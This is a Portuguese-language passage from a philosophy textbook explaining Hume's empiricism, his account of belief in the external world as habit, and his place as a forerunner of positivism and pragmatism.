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113.   A "crença" no mundo.

Como
se vê, a conclusão deste ponto de vista é clara e terminante. Hume é um homem
de absoluta coerência no seu pensamento.Primeira conclusão que tiramos: a
metafísica é impossível. A tal conclusão nos conduz esta prévia teoria do
conhecimento; porque justamente pela teoria do conhecimento chegamos a ver que
a noção de substância externa, que a noção de substancia interna, são duas noções
às quais não corresponde impressão alguma, ou seja, que são fictícias. Por
conseguinte, é um problema que não tem sentido, perguntar se existem ou não
existem substâncias. Não tem sentido levantar o problema, e menos ainda há
possibilidade de resolvê-lo. À pergunta metafísica: quem existe? respondia
Descartes: existo eu, a extensão e Deus; Locke respondia o mesmo que Descartes;
Berkeley respondia: existo eu, e Deus, mas não a extensão; e Hume responde
muito simplesmente: não vejo que exista eu, nem a extensão, nem Deus. Existem
unicamente vivências. Minhas vivências, caprichosamente unidas, sintetizadas
por mim, chamo-as "eu"; porém que a essa palavra "eu", a
essa idéia "eu", corresponda uma realidade substancial em si e por si
que seja o eu, a alma, isso não se pode verificar nem tem sentido perguntá-lo.
Do mesmo modo, minhas vivências aludem a realidades fora de mim. Porém eu não
encontro em nenhuma parte substâncias nem corpos, mas somente vivências. Por
conseguinte, a única coisa que posso ter é crença, belief, no mundo exterior.
Eu creio que o mundo exterior existe; creio que este copo existe; que se bebo a
água que contém vou refrescar a boca; creio que esta lâmpada existe, porém creio
porque estou acostumado a crer assim pelo hábito, pela associação de idéias.
Todavia a existência metafísica em si e por si do mundo exterior além de minhas
vivências, isso não está dado naquilo que posso manejar, naquilo que me é dado:
as impressões.

Acaba,
pois, o empirismo inglês de Hume num positivismo, numa negação dos problemas
metafísicos ou num cepticismo metafísico como se queira chamar. Hume, é claro,
não chega a pôr em interdição a ciência; porém põe-lhe uma base, um fundamento
caprichoso; o fundamento da ciência é o costume, o hábito, a associação de
idéias; fenômenos naturais, psicológicos que provocam em mim a crença na
realidade do mundo exterior. Eu estou convencido de que amanhã sairá o sol; mas
é somente porque estou habituado a vê-lo sair todos os dias. Uma razão não há.
Que à causa siga o efeito está bem, porque eu estou habituado constantemente a
ver que o efeito B sobrevém sempre que se produz a causa A; todavia não existe
uma razão que faça da relação causai uma relação apodíctica.

114.   Positivismo metafísico.

Ê
fácil advertir que o psicologismo do empirismo inglês atingiu c seu máximo
exagero, se assim se pode dizer; chegou às suas mais extremas e mais radicais
conseqüências. A psicologia invadiu tudo. O psicologismo desfaz a lógica e a
ontologia. O mundo de Hum° é um mundo sem razão, sem lógica. É assim porque é
assim, porque eu o creio em virtude do costume, do hábito, das associações de
idéias, de fenômenos biológicos no meu espírito, considerado
naturalisticamente. Do mesmo modo desapareceu a ontologia. Todos os conceitos
ontológicos fundamentais: o de substância, o de existência, foram analisados e
se evaporaram em puros feixes de sensações. O psicologismo à outrance do
empirismo inglês volatilizou o problema lógico e o problema metafísico, e esta
é justamente a característica do positivismo. Claro é que Hume acredita
que há uma ciência possível, que há crenças comuns de todos os homens; mas é
porque o homem é um ser de ação. o homem necessita atuar, necessita viver; e
para viver necessita contar com certas regularidades das coisas. Aquelas
regularidades das coisas que saem bem, aquelas esperanças que o homem concebe e
depois se cumprem, como a de que saia o sol amanhã, adquirem pouco a pouco o
caráter de verdades. Por isso, no fundo, assim como Hume e ot predecessor do positivismo, assim também pode dizer-se que é o predecessor do
pragmatismo, porque a única justificação da verdade vem a ser, para Hume, a
constância habitual, a executividade efetiva dessas percepções que a esperança,
dia após dia, vai incutindo em nós.

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